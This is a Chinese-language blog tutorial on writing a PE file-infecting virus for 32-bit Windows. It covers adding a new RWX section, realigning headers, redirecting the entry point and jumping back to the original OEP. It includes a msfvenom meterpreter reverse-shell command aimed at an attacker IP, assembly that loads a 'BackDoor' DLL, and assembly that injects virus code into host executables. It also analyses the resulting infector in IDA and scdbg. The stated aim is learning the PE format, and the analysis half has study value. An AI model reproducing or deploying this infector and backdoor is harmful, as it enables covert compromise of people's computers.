本文作者:x-encounter
通俗的讲,PE 病毒就是感染 PE 文件的病毒,通过修改可执行文件的代码中程序入口地址,变为恶意代码的的入口,导致程序运行时执行恶意代码。
我们学习 PE 病毒的目的是为了深入了解 32 位的 PE 结构。
git 链接(上一期的也上传了):
https://github.com/x-encounter/C-code
网盘链接(附带两张图,一个描述各字段偏移的 word 文档):
https://pan.baidu.com/s/1BCDpctJ_EDBdZC7rLF5Twg
老规矩,两张图介绍一下 PE 文件(图片会放到网盘中供大家下载)
这是一张偏移的
这是一张树形的
加上我讲 IAT 时候的一张,一共三张图,对于学习 PE 结构来讲已经够了
OEP 即程序的入口点。为了使 PE 文件执行我们的恶意数据,我们需要修改 OEP,为了不影响受感染 PE 文件的正常运行,我们需要在恶意代码的末尾添加跳转指令跳到原始的 OEP。
OEP 计算公式为:
OEP=OptionalHeader.ImageBase+OptionalHeader.AddressOfEntryPoint
以 Dbgview.exe 为例
OEP=00400000+00015757=00415757
OD 载入 Dbgview.exe
验证我们的计算结果是正确的。
我们的目的是在 PE 文件中添加一个节区,并将 shellcode 插入该数据中,并修改 OEP
1、新建一个节表头,写入各项数据,属性设置为可读可写可执行(SectionHeader.Characteristics = 0xE0000020)
2、修改 optionheader 中 SizeofCode 字段的大小
3、修改 optionheader 中 SizeOfImage 字段的大小
4、修改 fileheader 中 NumberOfSections 的大小
5、向节表数据中写入数据
6、修改 OEP
实验环境
攻击机:kalilinux 生成 32 位反弹 shellcode 目标主机:32 位 winxp、32 位 PE 病毒、32 位目标程序,反弹连接成功 IDE:Vc++6.0
首先获取该 PE 文件的 DOS 头,NT 头,节表头,获取方法在我讲 IAT 那一期已经提过了,一共三种方法,我选择的是通过 fopen,fseek,fread 获取。忘了的话可以前去考古……
节表头的数据结构如下:
typedef struct _IMAGE_SECTION_HEADER { BYTE Name[IMAGE_SIZEOF_SHORT_NAME]; union { DWORD PhysicalAddress; DWORD VirtualSize; //实际的节表项大小 } Misc; DWORD VirtualAddress;//载入内存后的RVA,内存对齐 DWORD SizeOfRawData;//在磁盘上的大小,文件对齐 DWORD PointerToRawData;//在文件上的偏移地址 DWORD PointerToRelocations; DWORD PointerToLinenumbers; WORD NumberOfRelocations; WORD NumberOfLinenumbers; DWORD Characteristics;//节表项属性} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;
难点在设置新节表头的各项数据需要考虑到对齐,这里要牵扯到内存对齐和文件对齐的概念,在 PE 文件 OptionHeader 中 SectionAlignment 代表节表装入内存后的对齐值、而 FileAlignment 代表节表在文件中的对齐值。
通常情况下 SectionAlignment 的值为 0x1000,也就是 4KB 大小因为 windows 操作系统的内存分页一般为 4KB,FileAlignment 的值一般为 0x200,也就是 512 字节因为磁盘一个扇区即 512 字节
这里插一句题外话,一般情况下,正常的节区 VirtualSize 是小于 SizeOfRawData 的,windows 使用 VirtualSize 和 SizeOfRawData 中的最小值来载入节区数据。但是在 OD1.1 版本中,仅使用 SizeOfRawData 作为节区数据载入大小的标准,当我们把 SizeOfRawData 手动设置为 0x77777777 时,OD1.1 会产生崩溃。OD2 已经修复。
对齐的代码如下:
//对齐边界int Align(int size, int ALIGN_BASE){ int ret; int result; assert( 0 != ALIGN_BASE ); result = size % ALIGN_BASE; if (0 != result) //余数不为零,也就是没有整除 { ret = ((size / ALIGN_BASE) + 1) * ALIGN_BASE; } else { ret = size; } return ret;}
下一个难点是向节表中插入 shellcode,先用 msf 的 msfvenom 模块生成一个反弹 shell,端口为 1234。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.105 LPORT=1234 -f c
在代码中通过 fwrite 函数将生成的 shellcode 添加到新节区中,然后运行病毒,感染 Dbgview.exe 生成一个 Dbgview.exe.exe 的病毒文件,同时 kalilinux 使用 exploit/multi/handler 模块进行监听,在 xp 上运行病毒文件
在 msf 中已经获得 session,可以进行控制了
但是这有一个问题,感染后的程序并没有正常打开,这不是我们想要的,我们理想中的情景应该是程序正常打开,并且还能向 kalilinux 反弹一个连接。造成程序没有打开的原因是:当我们修改 OEP 指向 shellcode 之后,该程序的主线程就是 shellcode 执行的内容,由于这一段 shellcode 是死循环,所以我们在 shellcode 最后加上跳转到原 OEP 的 jmp 指令也无济于事
解决方法:
1、逆向 createThread 函数,修改 shellcode 使 shellcode 在运行时先执行 createThread 将反弹连接作为回调函数放在一个子线程中,调用完 createThread 之后直接 jmp 到原 OEP 即可。
2、我们可以将 shellcode 分两个阶段执行,第一阶段将载入 dll 的 shellcode 和 jmp 原 OEP 的指令添加到新节区中,程序一开始运行就载入我们已经写好的 DLL,第二阶段在 DLL 中调用 createThread 函数使反弹连接的 shellcode作 为子线程的回调函数,当 DLL 被载入执行即可。
我选择第二种
载入 DLL 的汇编语言
pushad ;获取kernel32.dll的基址 mov eax, fs:0x30 ;PEB的地址 mov eax, [eax + 0x0c] mov esi, [eax + 0x1c] lodsd mov eax, [eax + 0x08] ;eax就是kernel32.dll的基址 mov edi, eax ;同时保存kernel32.dll的基址到edi ;通过搜索 kernel32.dll的导出表查找GetProcAddress函数的地址 mov ebp, eax mov eax, [ebp + 3ch] mov edx, [ebp + eax + 78h] add edx, ebp mov ecx, [edx + 18h] mov ebx, [edx + 20h] add ebx, ebpsearch: dec ecx mov esi, [ebx + ecx * 4] add esi, ebp mov eax, 0x50746547 cmp [esi], eax ;比较"PteG" jne search mov eax, 0x41636f72 cmp [esi + 4], eax jne search mov ebx, [edx + 24h] add ebx, ebp mov cx, [ebx + ecx * 2] mov ebx, [edx + 1ch] add ebx, ebp mov eax, [ebx + ecx * 4] add eax, ebp ;eax保存的就是GetProcAddress的地址 ;为局部变量分配空间 push ebp sub esp, 50h mov ebp, esp ;查找LoadLibrary的地址 LoadLibraryA mov [ebp + 40h], eax ;把GetProcAddress的地址保存到ebp + 40中 ;开始查找LoadLibrary的地址, 先构造"LoadLibrary \0" push 0x0 ;即'\0' push DWORD PTR 0x41797261 push DWORD PTR 0x7262694c push DWORD PTR 0x64616f4c push esp ;压入"LoadLibrary\0"的地址 push edi ;edi:kernel32的基址 call [ebp + 40h] ;返回值(即LoadLibrary的地址)保存在eax中 mov [ebp + 44h], eax ;保存LoadLibrary的地址到ebp + 44h push 0x0 push DWORD PTR 0x726f6f44 ;"Door" push DWORD PTR 0x6b636142 ;"Back" push esp ;字符串"BackDoor"的地址 call [ebp + 44h] ;或者call eax mov esp, ebp add esp, 0x50 popad
DLL 的结构如下:
将该 dll,感染程序,被感染程序放在一个目录下,运行
如下图:
程序正常打开
shell 反弹成功
将 Release 版的 LoadBackDoor.exe 拖入到 IDA 中,转到 main() 函数
发现一开始程序对参数进行了判断,如果 argv[1] 等于空就退出
紧接着调用 CopyFile,在 CopyFile 上面出现了 .exe 的字符串,可能程序会复制目标程序,并在原来名称的基础上再加 .exe,紧接着调用 fopen 打开新复制的 exe 文件
后面多次调用 fseek 和 fread 函数,通过调用失败时的输出我们可以发现,这是对 PE 文件的有效性进行检验,一般检验 PE 有效性判断开头是不是 MZ,NT 头开头是不是 PE 即可。这里我们可以仔细分析,在 IDA 中添加 IMAGE_DOS_HEADER 和 IMAGE_NT_HEADERS 的结构体,将数据转化一下,如图:
一目了然,此时 var_19C 变量是指向 NTheader 的指针,接着往下看
接着使用偏移的方式赋值,var_196 是 var_19C 偏移 6 的位置,也就是 NT 头偏移 6 字节的位置,我们通过对照表(会放到网盘中供大家下载)可以判断 var_196 是指向 FileHeader 中 NumberOfSections 的指针,以此类推,var_160 是指向 FileHeader 中 FileAlignment 的指针,var_164 是指向 FileHeader 中 SectionAlignment 的指针,var_174 是指向 FileHeader 中 AddressOfEntryPoint 的指针。接着将 var_19C 的值赋给 var_2C,作为循环的判断标准使 var_A4 的值指向最后一个 SectionHeader。
var_28 的值等于 var_160 指向 FileAlignment,作为参数入栈,调用 00401253 处的 call sub_401000,转到该函数领空,按下 F5 键反编译
应该就是对齐的代码了,因为 FileAlignment 作为参数,所以该操作为文件对齐,退出该函数
我们还可以看到调用 strncpy,.ngaut 很有可能就是新建节区的名字了,下面有一大堆对齐函数的调用,肯定是在初始化新节区中的各项数据并对齐,接下来通过 fwrite 函数写入节表头,我就不一一分析了
引起我们注意的是 main 函数的末尾实现了一个无条件的跳转,我们跟进去
发现 sub_401450 处的代码很可疑接着跟进去
只看字符串,我们就可以推测出该函数主要是动态获取 LoadLibrary 和 GetProcAddress 两个函数地址并加载 BackDoor.dll,退出该函数,接着分析
在第一个 fwrite 前面发现了 E9,而且第二次 fwrite 中内容的大小为 4,说明这两个 fwrite 的目的是写入类似于:
jmp address
address 是原 OEP,说明在写入的 shellcode 末尾加了一段无条件跳转,跳向原来程序入口处。
接下来我们把 BackDoor.dll,载入 IDA,看看该 DLL 做了什么
创建了一个线程,转到回调函数中
给 unk_10006030 分配空间,并压栈,转到 unk_10006030,按下 c 键
发现是一段 shellcode,将 shellcode 提取出来放到 scdbg 中分析
我们可以得到该 shellcode 的行为,发起到 IP 地址为 192.168.1.105,端口号为 1234 的连接
分析完毕。
本人的汇编是处在能看懂和能模仿的水平,也不放全部代码了,只给大家提供一种思路,假设你已得到目标程序的基址
;获取到最后一个节表头 mov [ebp+pe_Header],esi ;保存pe_Header指针 mov ecx,[esi+74h] ;得到directory的数目 imul ecx,ecx,8 lea eax,[ecx+esi+78h] ;eax=data directory结束地址=节表起始地址 movzx ecx,word ptr [esi+6h] ;节数目 imul ecx,ecx,28h ;得到所有节表的大小 add eax,ecx ;节结尾 xchg eax,esi ;eax->Pe_header,esi->最后节开始偏移(即病毒节开始处) mov dword ptr [esi],'.ngaut' ;节名.ngaut mov dword ptr [esi+8],Len ;节的实际大小 ;接下来对新节区的各个值进行对齐 mov ebx,[eax+38h] ;节对齐,在内存中节的对齐粒度 mov [ebp+sec_align],ebx mov edi,[eax+3ch] ;文件对齐,在文件中节的对齐粒度 mov [ebp+file_align],edi mov ecx,[esi-40+0ch] ;上一节的V.addr 40=28H(每个节表大小为28H) mov eax,[esi-40+8] ;上一节的实际大小 xor edx,edx div ebx ;除以节对齐 test edx,edx je loc1 inc eax loc1: mul ebx ;上一节在内存中对齐后的节大小 add eax,ecx ;加上上一节的V.addr就是新节的起始V.addr mov [esi+0ch],eax ;保存新section偏移RVA add eax,Start-Begin ;病毒第一行执行代码,并不是在病毒节的起始处 mov [ebp+newEip],eax ;计算新的eip mov dword ptr [esi+24h],0E0000020h ;节属性 mov eax,Len ;计算SizeOfRawData的大小 cdq ;方便除法计算,将EDX所有位设成EAX的最高位 div edi ;计算本节的文件对齐 je loc2 inc eax loc2: mul edi mov dword ptr [esi+10h],eax ;保存节对齐文件后的大小 mov eax,[esi-40+14h] add eax,[esi-40+10h] mov [esi+14h],eax ;PointerToRawData更新 mov [ebp+oldEnd],eax ;病毒代码往HOST文件中的写入点 mov eax,[ebp+pe_Header] inc word ptr [eax+6h] ;更新节数目 mov ebx,[eax+28h] ;eip指针偏移 mov [ebp+oldEip],ebx ;保存老指针 mov ebx,[ebp+newEip] ;使HOST程序首先执行病毒程序 mov [eax+28h],ebx ;更新指针值 mov ebx,[eax+50h] ;更新ImageSize add ebx,VirusLen mov ecx,[ebp+sec_align] xor edx,edx xchg eax,ebx cdq div ecx test edx,edx je loc3 inc eax loc3: mul ecx xchg eax,ebx ;还原 eax->pe_Header mov [eax+50h],ebx ;确保更新后的Image_Size大小=(原Image_size+病毒长度)对齐后的长度 cld mov ecx,Len mov edi,[ebp+oldEnd] add edi,[ebp+pMem] lea esi,[ebp+Begin] rep movsb ;将病毒代码写入目标文件新建的节中!
还有一种利用思路是通过将恶意代码插入 PE 文件节与节的空隙中实现的,这种方法不光要考虑对齐,还要考虑 RVA 和 offset 的转换,由于节与节之间的间隙不是很大,所以我们不能够插入反弹 shell 这一类的 shellcode,可以考虑 URLDownloadToFile 和 Winexec 这两个 API。